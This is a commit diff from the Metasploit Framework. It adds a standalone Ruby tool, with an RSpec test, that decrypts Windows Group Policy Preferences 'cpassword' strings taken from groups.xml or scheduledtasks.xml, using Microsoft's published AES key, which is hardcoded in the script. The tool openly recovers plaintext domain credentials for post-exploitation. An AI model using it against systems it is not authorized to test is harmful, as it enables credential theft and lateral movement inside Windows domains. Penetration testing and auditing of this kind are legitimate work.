Land rapid7#2754 - Created standalone module for cpassword AES decrypt

Author: wchen-r7

spec/tools/cpassword_decrypt_spec.rb

@@ -0,0 +1,31 @@
+require 'spec_helper'
+
+load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path
+
+require 'fastlib'
+require 'msfenv'
+require 'msf/base'
+
+describe CPassword do
+  context "Class methods" do
+    let(:cpasswd) do
+      CPassword.new
+    end
+
+    context ".decrypt" do
+      it "should return the decrypted password as 'testpassword'" do
+        # Encrypted password for "testpassword"
+        cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"
+        pass = cpasswd.decrypt(cpass)
+        pass.should eq('testpassword')
+      end
+
+      it "should return an empty string due to a bad password" do
+        # Invalid password format
+        cpass = "BadPassword"
+        pass = cpasswd.decrypt(cpass)
+        pass.should eq('')
+      end
+    end
+  end
+end

tools/cpassword_decrypt.rb

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+#!/usr/bin/env ruby
+
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+#
+# This script will allow you to specify an encrypted cpassword string using the Microsofts public
+# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
+# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
+# decrypted string for you.
+#
+# Tested Windows Server 2008 R2 Domain Controller.
+#
+# Authors:
+# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
+# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
+# scriptmonkey <scriptmonkey[at]owobble.co.uk>
+# theLightCosine
+# mubix (domain/dc enumeration code)
+# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
+#
+# References:
+# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
+# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
+#
+# Demo:
+# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
+# [+] The decrypted AES password is: testpassword
+#
+
+msfbase = __FILE__
+while File.symlink?(msfbase)
+  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
+end
+
+$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
+require 'fastlib'
+require 'msfenv'
+require 'rex'
+
+
+class CPassword
+
+  #
+  # Decrypts the AES-encrypted cpassword string
+  # @param encrypted_data [String] The encrypted cpassword
+  # @return [String] The decrypted string in ASCII
+  #
+  def decrypt(encrypted_data)
+    # Prepare the password for the decoder
+    padding = "=" * (4 - (encrypted_data.length % 4))
+    epassword = "#{encrypted_data}#{padding}"
+
+    # Decode the string using Base64
+    decoded = Rex::Text.decode_base64(epassword)
+
+    # Decryption
+    key  = ''
+    key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
+    key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
+    begin
+      aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
+      aes.decrypt
+      aes.key = key
+      plaintext = aes.update(decoded)
+      plaintext << aes.final
+    rescue OpenSSL::Cipher::CipherError
+      # Decryption failed possibily due to bad input
+      return ''
+    end
+
+    # Converts the string to ASCII
+    Rex::Text.to_ascii(plaintext)
+  end
+end
+
+
+#
+# Shows script usage
+#
+def usage
+  print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
+  exit
+end
+
+
+#
+# Prints a status message
+#
+def print_status(msg='')
+  $stderr.puts "[*] #{msg}"
+end
+
+
+#
+# Prints an error message
+#
+def print_error(msg='')
+  $stderr.puts "[-] #{msg}"
+end
+
+
+#
+# Prints a good message
+#
+def print_good(msg='')
+  $stderr.puts "[+] #{msg}"
+end
+
+
+#
+# main
+#
+if __FILE__ == $PROGRAM_NAME
+  pass = ARGV.shift
+
+  # Input check
+  usage if pass.nil? or pass.empty?
+
+  cpasswd = CPassword.new
+  pass = cpasswd.decrypt(pass)
+
+  if pass.empty?
+    print_error("Nothing was decrypted, please check your input.")
+  else
+    print_good("The decrypted AES password is: #{pass}")
+  end
+end